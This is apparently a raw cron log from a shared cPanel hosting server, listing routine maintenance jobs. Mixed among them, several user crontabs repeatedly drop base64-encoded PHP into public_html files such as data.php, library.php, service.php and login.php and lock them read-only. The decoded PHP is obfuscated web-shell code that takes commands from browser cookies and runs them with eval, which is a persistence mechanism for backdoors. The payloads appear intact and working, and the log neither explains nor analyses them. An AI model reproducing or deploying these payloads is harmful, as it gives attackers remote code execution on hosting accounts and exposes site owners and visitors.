"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:20:01 medusa CROND[17505]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:20:01 medusa CROND[17527]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:20:01 medusa CROND[17572]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:20:01 medusa CROND[17676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:20:01 medusa CROND[17678]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 07:20:01 medusa CROND[17680]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:20:01 medusa CROND[17682]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:20:01 medusa CROND[17683]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:20:01 medusa CROND[17685]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:20:01 medusa CROND[17686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:20:01 medusa CROND[17684]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 07:20:01 medusa CROND[17694]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17695]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:20:01 medusa CROND[17693]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 07:20:01 medusa CROND[17697]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 07:20:01 medusa CROND[17698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17709]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:20:01 medusa CROND[17712]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:20:01 medusa CROND[17713]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17720]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17725]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17726]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:20:01 medusa CROND[17728]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:20:01 medusa CROND[17730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:20:01 medusa CROND[17711]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17738]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:20:01 medusa CROND[17715]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:20:01 medusa CROND[17741]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:21:01 medusa CROND[9642]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:21:01 medusa CROND[9670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:21:01 medusa CROND[9698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:21:01 medusa CROND[9734]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:21:01 medusa CROND[9737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:21:01 medusa CROND[9738]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:21:01 medusa CROND[9739]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:21:01 medusa CROND[9740]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:21:01 medusa CROND[9744]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:21:01 medusa CROND[9747]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:21:01 medusa CROND[9750]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:21:01 medusa CROND[9761]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:21:01 medusa CROND[9762]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:21:01 medusa CROND[9765]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoK